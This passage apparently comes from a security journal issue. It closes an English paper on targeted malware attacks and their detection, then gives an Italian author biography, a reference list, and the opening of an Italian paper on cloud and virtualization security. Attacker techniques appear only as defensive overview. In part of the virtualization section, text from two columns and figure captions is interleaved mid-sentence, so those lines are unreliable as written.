they come online the domains will resolve to the IPs
of the threat actors. Third-party locations can be
used to update these RATs as needed.
Trend Micro uncovered a campaign of targeted
attacks that have successfully compromised defense
industry companies in Japan, Israel, India and the
USA. The second stage of the attacks involved two
components one of which contained custom DLLs
created for specific targets and the other a RAT
known as “MFC Hunter.” This RAT contains three
components, the malware that is installed on the victim’s computer, the client through which the attacker
controls the victim’s computer and a “hub” which
acts as an intermediary disguising the true location of
the attacker53. Joe Stewart was able to track the use
of a similar hub known as “htran” through error
messages that disclosed the attackers’ true locations54.
In addition to redundancy, the attackers also seek
to obfuscate their malicious network traffic by leveraging intermediaries and attempts to blend in with
legitimate traffic. As a result, threat actors are able to
leverage a variety of strategies to maintain communications between compromised hosts and their command and control infrastructure.
2.5 Persistence/Lateral Movement
Once inside the target’s network, the threat actors
engaging in targeted malware attacks seek to accomplish two objectives. First, they seek to maintain persistent access to the targets network and second they
seek to move laterally throughout the network locating data of interest for ex-filtration. In order to
maintain persistence, the initial malware payload will
have some method to ensure that it is restarted after
a reboot of the compromised computer. In many
cases, the persistence mechanism will consist of simple methods such as adding the malware executable
to the windows “startup” folder, modifying the Run
keys in the Windows Registry or installing an application as a Windows Service. The security form
Mandiant found that 97% of the targeted malware
they analyzed used these simple mechanisms55.
142
However, there are other methods used to maintain persistence that are less well known. One
method known as “DLL search order hijacking”
involves placing malicious DLL’s in specific locations
with specific names so that they are loaded by legitimate applications leaving no forensic traces56.
Once inside the system, attackers will move laterally throughout the network. They typically download remoteaccess-Trojans (RATs) or tools that allow
them to execute shell commands in real time on the
compromised host. In addition, they may seek to
escalate their privileges to that of an administrator
using techniques such as “pass the hash” and seek
out key targets such as mail servers57. The attackers
often download and use tools to “bruteforce” attack
database servers, extract email from Exchange servers and attempt to acquire legitimate access, such as
VPN credentials, so that they may maintain access to
the network even if their malware is discovered. As
the attackers move throughout the target’s network
they explore and collect information that can be used
in future attacks or information that can be prepared
for ex-filtration.
2.6 Data Ex-filtration
The primary objective of the threat actors behind
targeted attacks is the transmission of sensitive data
to locations under the attacker’s control. In order to
accomplish this objective, the attackers will collect
the desired data and compress it and then split the
compressed file into chuncks that can be transmitted
to locations under the attacker’s control. A variety of
transmission methods are used such as FTP and
HTTP however, attackers are now making use of
more secure methods such as ex-filtrating data using
the Tor anonymity network58.
With some attacks, data ex-filtration will occur
quite quickly. Often, the malware will send directory
and file listings to the command and control server.
The attacker may then request specific files or directories to be uploaded. Threat actors that rely on
RATs may use the built-in file transfer functionality
that typically comes with these tools.
In cases where the attackers have an established
presence, data, such as the contents of mail servers,
will be collected and moved to a staging area for exfiltration59. The attackers will typically use compression tools, such as Rar, to package the data for ex-filtration. The attacker will then return from time to
time and ex-filtrate new data.
3. Detection and Mitigation
The precise nature of targeted attacks increases
the difficulty of defense. With significant reconnaissance, and possibly information gained from previously successful incursions into the target’s network, the threat actors behind targeted attacks are
able to customize their attacks to increase the probability of success. For example, they can ensure that
the malware they send to their targets exploits specific software on the targets computer and they can
modify the malware so that it is not detected by the
security solutions deployed in the target’s environment. Therefore, defenses against targeted attacks
need to focus on detection and mitigation and not
simply on prevention. Moreover, it is important to
recognize that the ultimate objective of target end
attacks is the acquisition of sensitive data; therefore,
defensive strategies need to include the discovery
and classification of sensitive data and take into
account the context in which the data is being used.
Once identified, appropriate access controls can be
placed on such data60.
The ability to develop and act on threat intelligence underpins any defensive strategy. Threat intelligence refers to indicators that can be used to identify the tools, tactics and procedures of threat actors
engaging in targeted attacks. This information can
include the domain names and IP addresses used by
attackers to send spear phishing emails or to host
their command and control servers. It can refer to
the presence of certain files or registry modifications
on compromised computers. Threat intelligence not
only refers to such malware artifacts, but also to
behavioral characteristics such as the preferred tools
and movement patterns of threat actors after the
network has been compromised.
While organizations will benefit significantly
from threat intelligence derived from external sources, it is important that an organization begin to
develop local threat intelligence based on its own
unique circumstances. The ability to detect suspicious behaviors indicative of targeted attacks will
depend on how effectively this threat intelligence is
leveraged. The core components of a defensive strategy based on leveraging local and external threat
intelligence include:
• Enhanced Visibility—Logs from endpoints,
servers and network monitoring are an important and often underused resource that can be
aggregated to provide a view of activity
within an organization that can be processed
for anomalous behaviors that could indicate a
targeted malware attack.
• Integrity Checks—In order to maintain persistence, malware will make modifications to
the file system and registry. Monitoring such
changes can indicate the presence of malware.
• Empowering the human analyst—Humans
are best positioned to identify anomalous
behaviors when presented with a view of
aggregated logs from across the network. This
information is used in conjunction with
custom alerts based on the local and external
threat intelligence available.
Security solutions that protect at the endpoint
and network levels are important, but the technical
solutions deployed against targeted malware attacks
need to empower analysts with both the tools and
the threat intelligence required to identify and mitigate targeted attacks. Security analysts with access to
real-time views of the security posture of their organization are better positioned to detect, analyze and
remediate targeted attacks. In order to do so, they
require visibility across the network through the use
of monitoring and logging tools. Most of the hosts
within a network, whether they are workstations, servers or appliances, create logs and event data that,
once aggregated, can be used to detect anomalous
behavior indicative of a targeted attack.
Education and training programs combined with
explicit policies and procedures that provide avenues
for reporting and a clear understanding of roles and
responsibilities is an essential component of defense. While traditional training methods are important,
simulations and exercises using real spear phishing
attempts can be used to engage and educate61. Those
that are trained to expect targeted malware attacks
are better positioned to report potential threats and
constitute an important source of threat intelligence.
Ultimately, education can generate a more security
conscious culture within an organization.
Finally, the primary objective of targeted attacks
is access to sensitive dat Today, sensitive information
is not only stored in databases but in the cloud and
is accessible through a variety of methods including
mobile devices. While securing the network layer
remains an important component of any defensive
strategy, it is also critically important to specifically
protect data as well. Identifying and classifying sensitive data allows the introduction of access controls
and enhanced monitoring and logging technologies
143
Gastone Nencini
that can alert defenders of attempts to access or
transport sensitive data62.
5. Conclusion
Targeted attacks remain a high priority threat that
is difficult to defend. These attacks leverage social
engineering and malware that exploits vulnerabilities
in popular software to slip past traditional defenses.
While such attacks are often seen as isolated
events, they are better conceptualized as campaigns,
or a series of failed and successful intrusions. Once
inside the network, the attackers are able to move
laterally in order to target sensitive information for
ex-filtration. The impact of successful attacks can be
severe and any data obtained by the attackers can be
used in future, more precise attacks. However, defensive strategies can be dramatically improved by
understanding how targeted attacks work as well as
trends in the tools, tactics and procedures of the perpetrators. Since such attacks focus on the acquisition
of sensitive data, strategies that focus on protecting
the data itself, wherever it resides, are extremely
important components of defense. By effectively
using threat intelligence derived from external and
internal sources combined with context-aware data
protection and security tools that empower and
inform human analysts, organizations are better
positioned to detect and mitigate targeted attacks.
BIOGRAFIA
Gastone Nencini vanta una carriera significativa nel settore IT, iniziata oltre 25 anni fa con un’esperienza
come programmatore presso Elsi Informatica e proseguita in Genesys come Technical Manager.
Nel 1998 Nencini approda in Trend Micro Italy dove viene nominato Senior Sales Engineer per il Centro e
Sud Italia, per passare successivamente a un ruolo di maggiore responsabilità e prestigio, diventando prima
Technical Manager South Europe (Italia, Francia, Spagna e Portogallo) per poi focalizzarsi sul mercato
Italiano e assumere l’incarico di Senior Technical Manager Italy, coordinando un team di persone Pre Sales e
Technical Account Manager.
Nel 2012 Nencini diventa Senior Technical Manager Southern Europe e, nel 2013 anche Country leader di
Trend Micro Italia.
Durante questi anni in Trend Micro, Gastone Nencini ha gestito e supervisionato una serie di importanti
progetti di sicurezza per i maggiori clienti, fra cui, a livello italiano, si possono citare: Telecom, Fiat, Poste,
Vodafone, Ferrari, Banca Nazionale del Lavoro, Banca Intesa San Paolo.
Nencini ha, inoltre, introdotto servizi innovativi di assistenza e supporto per i clienti Enterprise e per il
canale di rivenditori.
144
Note
1) For the attacks on Google, see http://googleblog.blogspot.com/2010/01/new-approach-to-china.html
2) For the compromises in Canada, South Korea and France, see www.cbc.ca/news/technology/story/2011/02/17/cyber-attacksharper142.html,
www.computerworld.com/s/article/9213741/French_gov_t_gives_more_details_of_hack_150_PCs_compromised,
Http://english.yonhapnews.co.kr/national/2011/03/07/86/0301000000AEN20110307002200315F.html
3) http://euobserver.com/9/32049, www.bbc.co.uk/news/technology-13748488
4) www.rsa.com/node.aspx?id=3872010/01/new-approach-to-china.html, www.comodo.com/Comodo-Fraud-Incident-2011-0323.html
5) www.eweek.com/c/a/Security/Northrop-Grumman-L3-Communications-Hacked-via-Cloned-RSA-SecurID-Tokens-841662/,
www.nytimes.com/2011/06/04/technology/04security.html
6) www.wired.com/threatlevel/2011/04/oak-ridge-lab-hack/, www.reuters.com/article/2011/07/06/us-energylab-hackers
idUSTRE7654GA20110706
7) Diplomatic cables leaked by WikiLeaks reveal that the U.S. government suffered ongoing intrusions by one particular threat actor
since 2002.
http://cablesearch.org/cable/view.php?id=08STATE116943. The following overview of targeted attacks build off initial research
by Richard Stiennon
www.threatchaos.com/home-mainmenu-1/16-blog/571-strategic-industries-should-go-on-high-alert
8) www.time.com/time/printout/0,8816,1098961,00.html
9) www.guardian.co.uk/politics/2006/jan/19/technology.security
10) www.spiegel.de/international/world/0,1518,502169,00.html
11) www.nytimes.com/2007/12/09/us/nationalspecial3/09hack.html?ref=technology
12) www.businessweek.com/print/magazine/content/08_16/b4080032218430.htm
13) http://events.ccc.de/congress/2007/Fahrplan/attachments/1008_Crouching_Powerpoint_Hidden_Trojan_24C3.pdf,
http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf, http://isc.sans.edu/diary.html?storyid=4177
14) http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf
15) www.nytimes.com/2009/03/29/technology/29spy.html, www.nartv.org/mirror/ghostnet.pdf
16) www.nytimes.com/2010/04/06/science/06cyber.html, www.nartv.org/mirror/shadows-in-the-cloud.pdf
17) www.csmonitor.com/USA/2010/0125/US-oil-industry-hit-by-cyberattacks-Was-China-involved
18) www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf
19) www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf
20) http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/12802_trend_micro_lurid_whitepaper.pdf
21) http://threatinfo.trendmicro.com/vinfo/web_attacks/Stuxnet%20Malware%20Targeting%20SCADA%20Systems.html
22) www.symantec.com/connect/blogs/stuxnet-breakthrough
23) http://threatpost.com/en_us/blogs/report-iran-resorts-rip-and-replace-kill-stuxnet-072211
24) Cybercrime:
http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/wp04_cybercrime_1003017us.pdf
Zeus: http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/zeusapersistentcriminalenterprise.pdf
FAKEAV: http://us.trendmicro.com/imperia/md/content/us/trendwatch/researchandanalysis/unmasking_fakeav_ _
june_2010_.pdf
25) www.nartv.org/mirror/kneber_spearphishing_crimeware.pdf, www.nartv.org/2010/08/27/crime-or-espionage/
www.nartv.org/2010/09/09/crime-or-espionage-part-2/, http://krebsonsecurity.com/2011/01/white-house-ecard-dupes-dot-govgeeks/
26) www.theregister.co.uk/2011/09/13/apt_botnet_symbiosis/print.html, http://krebsonsecurity.com/2011/01/ready-for-cyberwar/
27) www.krebsonsecurity.com/2010/02/zeus-a-virus-known-as-botnet/
28) http://blog.trendmicro.com/how-sophisticated-are-targeted-malware-attacks/
29) www.cisco.com/en/US/prod/collateral/vpndevc/ps10128/ps10339/ps10354/targeted_attacks.pdf
30) http://blog.trendmicro.com/highly-targeted-attacks-and-the-weakest-links/
31) http://computer-forensics.sans.org/blog/2009/10/14/security-intelligence-attacking-the-kill-chain/,
http://computer-forensics.sans.org/blog/2010/06/21/security-intelligence-knowing-enemy and
www.rsa.com/innovation/docs/SBIC_RPT_0711.pdf
32) http://news4geeks.net/2011/08/04/researcher-follows-rsa-hacking-trail-to-china/
33) http://us.trendmicro.com/imperia/md/content/us/pdf/products/enterprise/datalossprevention/wp02_dlp-compliance-solutions_100225us.pdf
34) http://portal.acm.org/citation.cfm?id=1067721.1067728&coll=ACM&dl=ACM
35) www.nartv.org/mirror/shadows-in-the-cloud.pdf and
http://portal.acm.org/citation.cfm?id=1290958.1290968&coll=GUIDE&dl=GUIDE&CFID=74760848&CFTOKEN=96817982
36) For example, the information contained in the email headers can be processed for anomalies, and information such as originating IP address and the route an email took to get to its destination can indicate that an email did not originate from the sender it
claims to be from.
145
Gastone Nencini
37) www.computerworld.com/s/article/print/9015092/White_House_use_of_outside_e_mail_raises_red_flags?taxonomyName=I+
in+Government&taxonomyId=13
and
www.computerworld.com/s/article/print/9114934/Update_Hackers_claim_to_break_into_Palin_s_Yahoo_Mail_account?taxonomy
Name=Networking&taxonomyId=16
38) www.nartv.org/2010/09/09/crime-or-espionage-part-2/
39) http://blog.trendmicro.com/how-sophisticated-are-targeted-malware-attacks/
40) http://xs-sniper.com/blog/2007/07/20/more-uri-stuff-ies-resouce-uri/
41) http://contagiodump.blogspot.com/2011/04/contagio-data-spear-phish-email-senders.html
42) www.nartv.org/2010/03/07/malware-attacks-on-solid-oak-after-dispute-with-greendam/ and
www.f-secure.com/weblog/archives/00001675.html
43) www.nartv.org/2010/07/29/human-rights-and-malware-attacks/
44) www.nytimes.com/2010/04/20/technology/20google.html and http://blogs.aljazeera.net/asia/2011/03/23/china-and-googledetailed-look
45) http://contagiodump.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html
46) For example, of the 251 targeted malware attacks received by contagiodump.blogspot.com, only 10 were zeroday.
47) http://blog.trendmicro.com/targeted-attack-exposes-risk-of-checking-personal-webmail-at-work/
48) http://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html and http://blog.trendmicro.com/targetedattacks-on-popular-web-mailservices-signal-future-attacks/ http://contagiodump.blogspot.com/2011/08/targeted-attacks-againstpersonal-gmail.html
49) http://googleonlinesecurity.blogspot.com/2011/03/mhtml-vulnerability-under-active.html
50) http://blog.trendmicro.com/trend-micro-researchers-identify-vulnerability-in-hotmail
51) http://blog.trendmicro.com/targeted-attacks-on-popular-web-mail-services-signal-future-attacks/
52) www.nartv.org/2010/10/22/command-and-control-in-the-cloud/ and
http://blog.zeltser.com/post/7010401548/bots-command-and-control-via-social-media
53) http://blog.trendmicro.com/japan-us-defense-industries-among-targeted-entities-in-latest-attack/
54) www.secureworks.com/research/threats/htran/
55) www.mandiant.com/products/services/m-trends/
56) http://blog.mandiant.com/archives/1207
58) www.nartv.org/mirror/shadows-in-the-cloud.pdf
60) http://us.trendmicro.com/imperia/md/content/us/pdf/products/enterprise/datalossprevention/esg_outside-in_approach.pdf
61) www.rsa.com/innovation/docs/SBIC_RPT_0711.pdf
62) http://us.trendmicro.com/imperia/md/content/us/pdf/products/enterprise/leakproof/wp01_leakproof_dlp_100105us.pdf
146
Eva Chen
Trend Micro Corp.
UNA NUOVA FRONTIERA (PER LA SICUREZZA): LA SICUREZZA E LA SUA
EVOLUZIONE PER SUPPORTARE LA VIRTUALIZZAZIONE E IL CLOUD COMPUTING
(A BRAVE NEW (SECURITY) WORLD: HOW SECURITY IS CHANGING TO SUPPORT
VIRTUALIZATION AND CLOUD COMPUTING)
Sommario
Nel prossimo futuro si prevede che tutti gli aspetti dell’IT
saranno mobili, dinamici e interattivi: l’accesso, i dati, il carico di lavoro e tutte le attività di calcolo. I dispositivi mobili dell’utente finale potranno accedere e archiviare dati nell’ordine di
centinaia di gigabyte. I server virtuali favoriranno la mobilità
della potenza di calcolo fra segmenti di rete, datacenter, anche
all’esterno dell’ambiente aziendale e nel cloud pubblico, laddove la potenza di calcolo verrà offerta sotto forma di fornitura
di un servizio. Come conseguenza di questi fondamentali cambiamenti, tutti gli aspetti della protezione dei dati verranno
posti in discussione e riconsiderati. La tradizionale sicurezza
delle reti, che si occupa di insiemi di potenza di calcolo sotto
forma di computer e archivi dati protetti in un ambiente chiuso, perderà la sua validità. Una nuova generazione di pratiche di sicurezza, con un’enfasi sull’aspetto dinamico della
potenza di calcolo e dei dati, sfiderà lo status quo. Tuttavia,
questi cambiamenti rivoluzionari non si verificheranno in
modo improvviso. La sfida più grande per le aziende riguarderà come procedere dallo stato attuale verso un periodo ibrido, di transizione, per giungere, domani, a uno stato diverso.
La soluzione di questa sfida non consiste in un approccio singolo, valido per tutte le situazioni; ogni organizzazione procederà alla sua velocità, in funzione delle esigenze che si trova ad
affrontare e di diversi altri fattori interagenti. Di conseguenza,
le soluzioni devono essere abbastanza flessibili da tenere conto
delle diverse situazioni. Il presente documento tecnico descrive
l’evoluzione di questi cambiamenti nel momento in cui le
imprese adottano la virtualizzazione e, quindi, il cloud computing. Procede poi con la descrizione della visione di Trend
Micro dell’evoluzione della sicurezza come fattore in grado di
facilitare la mobilità, la virtualizzazione e il cloud computing.
A bstract
In the near future, it is anticipated that all aspects of
information technology will be movable, dynamic, and interactive – the access, the data, the workload, and all computing.
End users’ mobile devices will access and store hundreds of
gigabytes of data. Virtual servers will mobilize computing
power between network segments, data centers, and even outside of the corporate environment and into the public cloud,
where computing power is offered as a utility. As a result of
these profound changes, all aspects of information security will
be challenged and reconsidered. Traditional network security,
which addressed sets of computing power such as machines
and data storage as a guarded walled garden, will no longer
apply. A new generation of security practices, which emphasize the dynamic aspect of computing power and data, will challenge the status quo. However, these revolutionary changes will
not take place overnight. The major challenge for enterprises
will be how to proceed from where they are today, through a
transitional or hybrid period, to where they will be in the future. The solution to this challenge will not be a one-size-fits-all
approach; each organization will move forward at its own pace
as a function of the requirements that it faces and various
other interacting factors. Hence, solutions must be sufficiently
flexible to accommodate this diversity. This white paper describes the evolution of these changes as enterprises adopt virtualization and then cloud computing. It then describes Trend
Micro’s vision for the evolution of security as a facilitator of
mobility, virtualization, and cloud computing.
147
Eva Chen
1. Introduzione
Secondo gli analisti, il mercato globale della sicurezza delle reti nel 2009 ha superato un valore di 7
miliardi di dollari USA, mentre il mercato aziendale
della sicurezza di host/endpoint ha superato i 2
miliardi di dollari USA. Per quale motivo la grandezza relativa di questi investimenti probabilmente si
invertirà in futuro? La risposta sta nel fatto che il
mercato tradizionale della sicurezza delle reti è destinato a ridursi nel momento in cui le reti perdono
importanza a causa della crescente dinamicità della
potenza di calcolo e dei dati. Al contrario, il mercato
della sicurezza degli host, che prevede la protezione
della potenza di calcolo e dei dati stessi in hosting,
crescerà rapidamente; lo stesso ambiente di hosting
dinamico dovrà divenire il punto principale di protezione.
L’ampiezza dei cambiamenti evolutivi negli ambiti IT e della sicurezza è decisamente radicale.
Immaginiamo che Butch Cassidy e Sundance Kid
oggi vogliano rapinare una banca. Le ipotesi su cui si
basavano 150 anni fa per rapinare una banca oggi
sono del tutto superate. Le banche tengono sempre
meno contante disponibile, dal momento che le
forme di transazione elettronica stanno proliferando.
Oggi, la minaccia principale di furto non è più rappresentata dalla rapina di denaro contante a mano
armata, ma piuttosto dal furto d’identità, dal furto di
segreti aziendali dimenticati su iPad privi di protezione abbandonati su un taxi e da una vasta gamma di
sofisticate minacce informatiche.
Figura 1: In una rete tradizionale, gli agenti di sicurezza basati su host
per ogni dispositivo consistono principalmente di elementi anti-malware,
mentre la protezione del perimetro prevede un firewall, protezione Web e
e-mail e IDS/IPS.
148
La tendenza verso la virtualizzazione e il cloud
computing è uno degli agenti principali verso questo
spostamento del paradigma. Le imprese adottano
virtualizzazione e cloud computing per via dei molteplici benefici aziendali in ambito IT promessi da
questi modelli, come flessibilità, scalabilità, efficienza, riduzione dei costi e vantaggio competitivo.
Secondo un recente rapporto Gartner, “La virtualizzazione continuerà a rappresentare l’elemento di
maggiore impatto nella sfida alle infrastrutture e
all’operatività fino al 2015. La virtualizzazione modifica il nostro modo di gestire le cose, come e cosa
acquistiamo, come installiamo, come pianifichiamo e
modifichiamo. Inoltre ha anche un impatto forte
sulle modalità di concepire licenze, prezzi e gestione
dei componenti.”
2. Reti tradizionali e sicurezza
Per comprendere meglio le sfide alla sicurezza e le
opportunità connesse alla virtualizzazione e al cloud
computing, è utile osservare innanzitutto l’evoluzione della sicurezza delle reti tradizionali, dal passato
fino ad oggi, e in che modo tale evoluzione possa
continuare con la comparsa di virtualizzazione e
cloud computing.
La Figura 1 mostra una rete tradizionale, con tre
tipi principali di risorse di calcolo interne al perimetro della rete: risorse di calcolo nella DMZ, server
mission-critical ed endpoint. L’impostazione relativamente semplice della protezione consiste di firewall,
protezione Web e e-mail e sistemi di rilevamento e
prevenzione delle intrusioni (IDS/IPS) al perimetro
della rete. La protezione basata su host consiste di
agenti anti-malware su ciascun computer all’interno
del perimetro.
Nel momento in cui gli hacker hanno individuato
un metodo per penetrare il perimetro della rete non
ostante le misure di protezione, i clienti hanno rilevato la necessità di un maggior livello di protezione
per tutti i dispositivi interni alla rete (Figura 2). Per
consentire agli host di provvedere alla propria protezione, anche le risorse, i server e gli endpoint DMZ
sono stati dotati di firewall e IDS/IPS. Quasi contemporaneamente, l’avvento di nuovi dispositivi ha
ampliato la definizione di endpoint. Le imprese consentono in maniera crescente ai propri dipendenti di
collegarsi alla rete tramite computer portatili. Di conseguenza, le organizzazioni hanno ampliato le reti
per supportare questi strumenti. Nel momento in cui
UNA NUOVA FRONTIERA (PER LA SICUREZZA): LA SICUREZZA E LA SUA EVOLUZIONE PER SUPPORTARE LA VIRTUALIZZAZIONE E IL CLOUD COMPUTING
(A BRAVE NEW (SECURITY) WORLD: HOW SECURITY IS CHANGING TO SUPPORT VIRTUALIZATION AND CLOUD COMPUTING)
dei server e dei desktop virtuali è impegnativo.
Nel momento in cui
danno inizio all’implementazione della virtualizzazione,
le organizzazioni solitamente aggiungono macchine virtuali alle macchine fisiche,
creando
dapprima
un
ambiente ibrido (Figura 3).
Per garantire la protezione
necessaria, le aziende necessitano di un dispositivo virtuale, ossia di un’immagine
software destinata all’esecuFigura 2: In molte reti odierne, gli agenti a livello degli host assicurano una protezione più efficace, le reti
zione su una macchina virvengono espanse per includere gli endpoint mobili/remoti e viene implementata una rete di protezione di qualtuale. L’introduzione di tale
che tipo.
dispositivo consente alle
organizzazioni di portare
gli endpoint vengono spostati e ricollegati all’esterno
all’interno dell’hypervisor stesso la protezione, che
della rete, si rende necessaria una protezione efficace
diviene così più efficace. Ciò favorisce inoltre la visiper garantirne la sicurezza. Inoltre, gli agenti installabilità del traffico fra le macchine virtuali e offre ulteti su tutti i dispositivi all’interno della rete (e con
riori vantaggi di protezione specifici per la virtualizaccesso remoto) devono essere regolarmente aggiorzazione, come la protezione tra macchine virtuali, i
nati da una rete di protezione e mediante una gestiopatch virtuali per gli host che vengono creati e l’effine centralizzata.
cienza prestazionale dei componenti anti-malware.
Il dispositivo virtuale viene implementato per la
protezione di tutte le macchine virtuali previste.
3. Virtualizzazione
Adesso ogni macchina fisica opera quasi come
fosse una rete. Poiché le organizzazioni hanno la tenLa virtualizzazione rende il modello tradizionale
di rete meno rilevante, poiché la
migrazione e la diffusione in
tempo reale fanno sì che applicazioni e dati siano più dinamici,
mentre diminuiscono i chokepoint
di rete. Con l’attenuarsi del concetto di perimetro, la protezione
ora deve estendersi fino a ogni
nodo logico su host, ovunque si
trovi il nodo.
Gli agenti di sicurezza a livello
degli host assicurano un maggior
grado di protezione e possono
spostarsi seguendo gli spostamenti della potenza di calcolo.
Tuttavia, nel momento in cui le
imprese adottano la virtualizzazione, l’implementazione di un agente di protezione per ciascun host
diviene più complessa; tenere il
Figura 3: Quando le organizzazioni si spostano verso la virtualizzazione, il modello di rete tradizionale
perde rilevanza ed è necessario estendere la protezione a tutti i nodi logici su host. In questo
passo con la natura “istantanea”
esempio, un dispositivo virtuale estende la protezione alle macchine virtuali.
149
Eva Chen
denza a collocare applicazioni simili sulle stesse macchine fisiche, l’implementazione di un dispositivo virtuale consente alle organizzazioni di impostare regole di protezione più granulari su quel versante virtuale, se paragonate alle regole di protezione generali a
livello di perimetro del datacenter. Ciò inoltre semplifica gli interventi di modifica delle regole a livello
di firewall/IDS/IPS del perimetro. Al contempo, tale
impostazione consente la protezione “agentless” dell’intero segmento di rete virtuale. In tal modo migliorano le prestazioni strutturali complessive e si assicura la protezione essenziale nel caso in cui l’agente di
sicurezza a livello di host non sia ancora stato implementato o sia assente a causa di limiti di piattaforma.
Il dispositivo di sicurezza virtuale può anche includere la funzione di controllo di accesso alla rete (NAC),
può informare o avvisare un amministratore, oppure
evitare che una macchina virtuale priva di un livello
adeguato di protezione possa essere inizializzata o
collocata su un server.
Perciò, nel corso del consolidamento del datacenter, il nuovo modello di protezione pone in risalto la
difesa in profondità, in cui:
1. La protezione del perimetro, mediante i tradizionali firewall/IDS/IPS, resta in prima linea,
principalmente per la difesa dalle minacce
esterne, ossia dei tentativi di penetrazione
della prima linea di difesa dall’esterno.
2. I dispositivi virtuali dal lato della rete virtuale
applicano regole di protezione più granulari,
soprattutto in relazione alla protezione delle
applicazioni e alla sicurezza virtuale. In tal
modo non solo si migliora la protezione del
perimetro, ma si riduce anche la frequenza
delle modifiche necessarie ai dispositivi del
perimetro. Questo livello offre inoltre un certo
grado di protezione qualora un agente di sicurezza a livello di host non sia stato implementato.
3. Un agente collocato su ogni host rileva e
modifica dinamicamente le regole di protezione in caso di spostamento dell’attività di calcolo o del carico di lavoro, ad esempio dall’interno della rete aziendale all’esterno della rete,
oppure verso un diverso datacenter in-thecloud.
Questo approccio estende il concetto di protezione su misura. Un livello di sicurezza eccessivo consuma le risorse del sistema e del personale IT, mentre un livello di sicurezza diminuito riduce la protezione preservando le risorse del sistema e del personale IT. Fra le considerazioni che influenzano il livello di protezione richiesto, ricordiamo i requisiti normativi, la natura sensibile/riservata dei dati e i criteri
di protezione. Individuare l’equilibrio più indicato
caso per caso è un compito più semplice se la protezione viene implementata più in prossimità della
destinazione bersaglio del traffico in ingresso. La
ragione sta nel fatto che la protezione del perimetro
deve effettuare il controllo di tutto il traffico che
entra nella rete; si tratta di un compito difficoltoso
perché vi sono differenti tipi di traffico, ad esempio
il traffico basato su Linux, su UNIX e su Microsoft
Windows, diretti verso diverse sezioni della rete con
finalità diverse. Tuttavia, il controllo in prossimità del
bersaglio può essere più granulare, poiché soltanto
tipi specifici di traffico saranno appropriati per il bersaglio; ad esempio, si potrà trattare di solo traffico
Linux diretto a una specifica piattaforma. Per tale
motivo, l’analisi da parte di un dispositivo virtuale
può essere più efficiente; il dispositivo virtuale è più
vicino alla destinazione bersaglio rispetto a un dispo-
Trasformazione radicale a livello dell’endpoint
La virtualizzazione sta portando a una trasformazione radicale a livello dell’endpoint. Prima della virtualizzazione, l’attività di un
utente era collegata a un singolo desktop fisico o al nodo di un portatile e la protezione era garantita da un agente installato. Oggi,
la virtualizzazione del desktop, con cui si eseguono i desktop a livello di datacenter, è una realtà. Ma i cambiamenti relativi al
desktop sono ben più ampli rispetto al trasferimento del sistema operativo del desktop e delle applicazioni in una macchina virtuale nel datacenter. Il desktop viene sottoposto a un processo di disassemblaggio durante il rilevamento e la prevenzione delle
intrusioni in backend: sistema operativo, applicazioni e utenti vengono gestiti e archiviati separatamente, per poi essere ricomposti attraverso la rete per ricostituire lo spazio di lavoro familiare all’utente all’atto dell’accesso. Il sistema operativo viene ulteriormente suddiviso in immagini di base comuni ad altri utenti e in variazioni univoche per ciascun utente. Le applicazioni sembrano locali, ma possono essere trasmesse nello spazio di lavoro mentre in realtà sono in esecuzione su un’altra macchina virtuale oppure come applicazione SaaS nel cloud pubblico.
Allo spazio di lavoro ora si accede mediante un client fisico che assume sempre più una natura remota e mobile. La tendenza
iniziata con i “thin terminal” si sta espandendo con iPad e altri tablet, smartphone e BYO PC (build your own PC, componi il tuo
PC). L’accessibilità del desktop virtuale da più postazioni e dispositivi ha ampliato lo spazio di lavoro dell’utente, che ormai non
ha più limiti. Il desktop ora è mobile, onnipresente, sottile ed eterogeneo.
La sessione dell’utente ora definisce il desktop e attraversa più postazioni di rete all’interno del data center e all’esterno attraverso la WAN. Di conseguenza, un agente non può più risiedere in una singola posizione e assicurare la protezione del desktop;
gli endpoint di protezione devono attraversare più aree della rete.
150
sitivo di controllo situato a livello del perimetro.
4. Cloud computing
La virtualizzazione è un catalizzatore del cloud
computing; ad esempio, sta accelerando la trasformazione dei datacenter in ambienti in-the-cloud privati. Nel momento in cui le organizzazioni si spostano verso il cloud computing, sono in grado di spostare le applicazioni dalle loro risorse alle risorse inthe-cloud e poi in senso inverso, per conseguire vantaggi operativi.
Tuttavia, questo sfruttamento della potenza di
calcolo pone un carico ulteriore sul modello di sicurezza. Bisogna ricorrere ad agenti, come detto in precedenza, che si spostino assieme al carico di lavoro,
che comprende il sistema operativo, le applicazioni e
i dati. Tuttavia, requisiti aziendali come la conformità a normative rigorose richiedono la presenza di
agenti “intelligenti” più sofisticati, in grado di regolare il livello di protezione a seconda del tipo di attività. Le grandi aziende sono sottoposte a una notevole pressione per rispettare un’ampia gamma di
regolamenti e standard, fra cui PCI DSS (Payment
Card Industry Data Security Standard), HIPAA (Health
Insurance Portability and Accountability Act), GLBA
(Gramm-Leach-Bliley Act), oltre alle pratiche di revisione come SAS70 (Statement on Auditing Standard) e ISO
(International Organization for Standardization). Le grandi aziende devono potere dimostrare la conformità
mediante gli standard di sicurezza, a prescindere
dalla collocazione dei sistemi sottoposti a regolamentazione, compresi server in sede, macchine virtuali in sede e macchine virtuali fuori sede in esecuzione su risorse di cloud computing.
Di conseguenza, anti-malware, firewall e
IDS/IPS non sono sufficienti nell’ambito della protezione basata su agenti (Figura 3). Alcune delle normative citate in precedenza comprendono requisiti
per la crittografia come metodo di protezione delle
informazioni importanti, ad esempio dei dati relativi
ai titolari di carte di credito oppure informazioni personali identificabili. Tali requisiti possono prevedere
la conformità alle normative di sicurezza FDE (Full
Disk Encryption), AES (Advanced Encryption Standard) e
FIPS (Federal Information Processing Standards) 140-2. La
natura multi-tenant dell’ambiente in-the-cloud
amplifica tali requisiti. Il monitoraggio dell’integrità
di sistemi operativi e di file applicativi critici è anche
necessario per individuare modifiche pericolose e
impreviste che potrebbero segnalare la compromissione delle risorse di elaborazione in-the-cloud.
